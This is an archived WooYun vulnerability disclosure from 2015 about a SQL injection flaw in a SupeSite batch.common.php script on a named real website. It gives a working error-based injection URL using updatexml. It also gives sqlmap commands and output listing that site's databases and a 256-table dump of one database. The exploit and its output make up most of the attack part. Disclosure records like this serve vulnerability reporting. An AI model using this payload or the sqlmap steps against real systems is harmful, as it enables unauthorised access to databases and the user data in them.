乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-17: 细节已通知厂商并且等待厂商处理中 2015-08-22: 厂商已经主动忽略漏洞,细节向公众公开
rt
supesit batch.common.php
http://cat.transn.com/batch.common.php?action=modelquote&cid=1&name=members%20where%201=1%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(521521)),0x5e24),1))%23
直接sqlmap走起。
--dbs
available databases [7]:[*] icatweb[*] information_schema[*] tcatwebsite[*] test[*] test_entwcat[*] test_translib[*] test_wattapi
--tables -D "icatweb"
Database: icatweb[256 tables]+-------------------------+| [Table]access || [Table]activities || [Table]activityapplies || [Table]addons || [Table]adminactions || [Table]admincustom || [Table]admingroups || [Table]adminnotes || [Table]adminsession || [Table]adminsessions || [Table]ads || [Table]advertisements || [Table]announcements || [Table]attachmentfields || [Table]attachments || [Table]attachmenttypes || [Table]attachpaymentlog || [Table]attachtypes || [Table]banned || [Table]bbcodes || [Table]blocks || [Table]cache_0 || [Table]cache_1 || [Table]cache_2 || [Table]cache_3 || [Table]cache_4 || [Table]cache_5 || [Table]cache_6 || [Table]cache_7 || [Table]cache_8 || [Table]cache_9 || [Table]cache_a || [Table]cache_b || [Table]cache_c || [Table]cache_d || [Table]cache_e || [Table]cache_f || [Table]cache || [Table]caches || [Table]categories || [Table]channels || [Table]click || [Table]clickgroup || [Table]clickuser || [Table]creditlog || [Table]creditrule || [Table]creditslog || [Table]crons || [Table]customfields || [Table]debateposts || [Table]debates || [Table]failedlogins || [Table]faqs || [Table]favoriteforums || [Table]favorites || [Table]favoritethreads || [Table]feeds || [Table]forumfields || [Table]forumlinks || [Table]forumrecommend || [Table]forums || [Table]friendlinks || [Table]imagetypes || [Table]invites || [Table]itempool || [Table]magiclog || [Table]magicmarket || [Table]magics || [Table]medallog || [Table]medals || [Table]memberfields || [Table]membermagics || [Table]memberrecommend || [Table]members || [Table]memberspaces || [Table]modelcolumns || [Table]modelfolders || [Table]modelinterval || [Table]models || [Table]moderators || [Table]modworks || [Table]mytasks || [Table]navs || [Table]onlinelist || [Table]onlinetime || [Table]orders || [Table]pages || [Table]paymentlog || [Table]pluginhooks || [Table]plugins || [Table]pluginvars || [Table]polloptions || [Table]polls || [Table]postitems || [Table]postlog || [Table]postmessages || [Table]postposition || [Table]posts || [Table]postset || [Table]prefields || [Table]profilefields || [Table]projects || [Table]promotions || [Table]prompt || [Table]promptmsgs || [Table]prompttype || [Table]ranks || [Table]ratelog || [Table]regips || [Table]relatedthreads || [Table]reportlog || [Table]reports || [Table]request || [Table]rewardlog || [Table]robotitems || [Table]robotlog || [Table]robotmessages || [Table]robots || [Table]rss || [Table]rsscaches || [Table]searchindex || [Table]sessions || [Table]settings || [Table]sitemaplogs || [Table]smilies || [Table]spacecaches || [Table]spacecomments || [Table]spaceitems || [Table]spacenews || [Table]spacepages || [Table]spacetags || [Table]stats || [Table]statvars || [Table]styles || [Table]stylevars || [Table]survey || [Table]tagcache_d || [Table]tagcache || [Table]tags || [Table]tasks || [Table]taskvars || [Table]templates || [Table]threads || [Table]threadsmod || [Table]threadtags || [Table]threadtypes || [Table]tradecomments || [Table]tradelog || [Table]tradeoptionvars || [Table]trades || [Table]typemodels || [Table]typeoptions || [Table]typeoptionvars || [Table]typevars || [Table]usergroups || [Table]userlog || [Table]validating || [Table]warnings || [Table]words || uc_admins || uc_applications || uc_badwords || uc_domains || uc_failedlogins || uc_feeds || uc_friends || uc_mailqueue || uc_memberfields || uc_members || uc_mergemembers || uc_newpm || uc_notelist || uc_pms || uc_protectedmembers || uc_settings || uc_sqlcache || uc_tags || uc_vars || uchome_ad || uchome_adminsession || uchome_album || uchome_appcreditlog || uchome_blacklist || uchome_block || uchome_blog || uchome_blogfield || uchome_cache || uchome_class || uchome_click || uchome_clickuser || uchome_comment || uchome_config || uchome_creditlog || uchome_creditrule || uchome_cron || uchome_data || uchome_docomment || uchome_doing || uchome_event || uchome_eventclass || uchome_eventfield || uchome_eventinvite || uchome_eventpic || uchome_feed || uchome_friend || uchome_friendguide || uchome_friendlog || uchome_invite || uchome_log || uchome_magic || uchome_magicinlog || uchome_magicstore || uchome_magicuselog || uchome_mailcron || uchome_mailqueue || uchome_member || uchome_mtag || uchome_mtaginvite || uchome_myapp || uchome_myinvite || uchome_notification || uchome_pic || uchome_picfield || uchome_poke || uchome_poll || uchome_pollfield || uchome_polloption || uchome_polluser || uchome_post || uchome_profield || uchome_profilefield || uchome_report || uchome_session || uchome_share || uchome_show || uchome_space || uchome_spacefield || uchome_spaceinfo || uchome_spacelog || uchome_stat || uchome_statuser || uchome_tag || uchome_tagblog || uchome_tagspace || uchome_task || uchome_thread || uchome_topic || uchome_topicuser || uchome_userapp || uchome_userappfield || uchome_userevent || uchome_usergroup || uchome_userlog || uchome_usermagic || uchome_usertask || uchome_visitor |+-------------------------+
我是来找礼物的!
危害等级:无影响厂商忽略
忽略时间:2015-08-22 11:18
漏洞Rank:4 (WooYun评价)
暂无